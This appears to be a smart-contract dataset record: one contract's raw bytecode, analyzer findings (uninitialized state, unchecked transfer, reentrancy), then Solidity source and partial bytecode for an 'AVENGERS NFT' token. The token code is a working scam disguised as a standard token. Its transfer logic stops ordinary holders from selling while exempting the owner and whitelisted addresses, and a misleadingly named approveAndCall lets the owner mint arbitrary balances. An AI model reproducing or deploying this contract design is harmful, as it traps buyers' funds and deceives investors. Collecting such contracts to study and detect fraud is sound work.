fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d5a57600080fd5b50610d7960048036038101908080359060200190929190505050612e88565b604051808215151515815260200191505060405180910390f35b6000806000610da0612f3c565b1515610e3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b86869050915060c982101515610eb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4172726179204f766572666c6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b600090505b818110156110665760128787838181101515610ed557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600860008989858181101515610f6957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508484828181101515610fe557fe5b90506020020135601160008989858181101515610ffe57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050610ebd565b600192505050949350505050565b6000806000806000806110d06002600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f9490919063ffffffff16565b905080955080945060009350600092506000915060011515600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001815260200190815260200160002060009054906101000a900460ff161515141561115457600095505b60011515600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006002815260200190815260200160002060009054906101000a900460ff16151514156111c457600094505b60011515600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006003815260200190815260200160002060009054906101000a900460ff161515141561123457600093505b60011515600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006004815260200190815260200160002060009054906101000a900460ff16151514156112a457600092505b60011515600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006005815260200190815260200160002060009054906101000a900460ff161515141561131457600091505b8585858585955095509550955095505091939590929450565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113c55780601f1061139a576101008083540402835291602001916113c5565b820191906000526020600020905b8154815290600101906020018083116113a857829003601f168201915b5050505050905090565b60006113d9612f3c565b1515611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b61147c30612329565b821115801561148b5750600082115b1515611525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c8152602001807f56616c75652073686f756c64206e6f74206265206d6f7265207468616e20494481526020017f4f2062616c616e636520616e642067726561746572207468616e20300000000081525060400191505060405180910390fd5b81601b8190555081601d8190555060019050919050565b606060208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115d45780601f106115a9576101008083540402835291602001916115d4565b820191906000526020600020905b8154815290600101906020018083116115b757829003601f168201915b5050505050905090565b6000600554905090565b60006115f2612f3c565b151561168c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b82826020919061169d9291906131e2565b506001905092915050565b600080601b549150601d5490509091565b60006116c3612f3c565b151561175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b81601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550919050565b6000600460009054906101000a900460ff16905090565b6000611804612f3c565b151561189e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156118e4573d6000803e3d6000fd5b5060019050919050565b6000602154905090565b60008033836000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156119b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4e6f742073756666696369656e742070757263686173652042616c616e63650081525060200191505060405180910390fd5b60018114806119c35750600281145b1515611a37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e76616c6964204c6f636b204e756d6265720000000000000000000000000081525060200191505060405180910390fd5b6001811415611b2c576021546014540142118015611ab7575060011515600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900460ff16151514155b1515611b2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420556e6c6f636b656420546f6b656e730000000081525060200191505060405180910390fd5b5b6002811415611c26576228206f602154601454010142118015611bb1575060011515600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060009054906101000a900460ff16151514155b1515611c25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420556e6c6f636b656420546f6b656e730000000081525060200191505060405180910390fd5b5b611c796002600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f9490919063ffffffff16565b92506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d3f57600080fd5b505af1158015611d53573d6000803e3d6000fd5b505050506040513d6020811015611d6957600080fd5b810190808051906020019092919050505050611dcd83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461302790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548160ff02191690831515021790555082600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002081905550505050919050565b6000601854905090565b6000611eea612f3c565b1515611f84576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b600086118015611f945750600085115b8015611fa05750600084115b8015611fac5750600083115b1515612020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c69642056616c75657300000000000000000000000000000000000081525060200191505060405180910390fd5b8560138190555084601481905550836015819055508260168190555061205260016017546130b190919063ffffffff16565b60178190555081601e60146101000a81548160ff0219169083151502179055506001905095945050505050565b6000612089612f3c565b1515612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156121e757600080fd5b505af11580156121fb573d6000803e3d6000fd5b505050506040513d602081101561221157600080fd5b81019080805190602001909291905050505060019050919050565b600042905090565b600061223e612f3c565b15156122d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b8160188190555060019050919050565b60008060008060006021546014540194506228206f602154601454010193506000925060009150600090508484848484945094509450945094509091929394565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050915091565b60008060008060008061240f612f3c565b15156124a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b8b8b9050945060c985101515612527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4172726179204f766572666c6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b600093505b8484101561273e57878785818110151561254257fe5b9050602002013592508b8b85818110151561255957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff169150898985818110151561258657fe5b90506020020135905080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126c083601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006017548152602001908152602001600020546130b190919063ffffffff16565b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060175481526020019081526020016000208190555061272b81601d5461302790919063ffffffff16565b601d81905550838060010194505061252c565b6001955050505050509695505050505050565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127e95780601f106127be576101008083540402835291602001916127e9565b820191906000526020600020905b8154815290600101906020018083116127cc57829003601f168201915b5050505050905090565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000612865612f3c565b15156128ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b81601a8190555060019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156129b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6164647265737365732073686f756c64206e6f7420626520300000000000000081525060200191505060405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60606012805480602002602001604051908101604052809291908181526020018280548015612a8d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612a43575b5050505050905090565b6000806000806000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018152602001908152602001600020549450600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006002815260200190815260200160002054935060009250600091506000905084848484849450945094509450945091939590929450565b60006001905090565b6000601b54905090565b60008060008060008060011515601e60149054906101000a900460ff161515148015612bfa575060011515600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15612c5a57612c53601160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460165461313b90919063ffffffff16565b9250612c60565b60165492505b6013549550601454945060155493506017549150601e60149054906101000a900460ff16905091939550919395565b6000612cba601c54612cac6018548561313b90919063ffffffff16565b612f9490919063ffffffff16565b9050919050565b6000612ccb612f3c565b1515612d65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612e0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4f776e657220616464726573732063616e74206265207a65726f00000000000081525060200191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000601a54905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000612e92612f3c565b1515612f2c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f596f7520617265206e6f742061757468656e74696361746520746f206d616b6581526020017f2074686973207472616e7366657200000000000000000000000000000000000081525060400191505060405180910390fd5b8160218190555060019050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60008060008311151561300f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c69642076616c75657300000000000000000000000000000000000081525060200191505060405180910390fd5b828481151561301a57fe5b0490508091505092915050565b6000808383111515156130a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c69642076616c75657300000000000000000000000000000000000081525060200191505060405180910390fd5b82840390508091505092915050565b6000808284019050838110151515613131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c69642076616c75657300000000000000000000000000000000000081525060200191505060405180910390fd5b8091505092915050565b600080600084141561315057600091506131db565b828402905082848281151561316157fe5b041415156131d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c69642076616c75657300000000000000000000000000000000000081525060200191505060405180910390fd5b8091505b5092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061322357803560ff1916838001178555613251565b82800160010185558215613251579182015b82811115613250578235825591602001919060010190613235565b5b50905061325e9190613262565b5090565b61328491905b80821115613280576000816000905550600101613268565b5090565b905600a165627a7a72305820a49b502b604a8650b79d225ccc89de59ea5f925e961172d7eb5109464100669d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,235 |
0x83b335db9c858e76c7692ddbbea57058029271c8
|
/*
## AVENGERS NFT ##
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AvengersNFT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff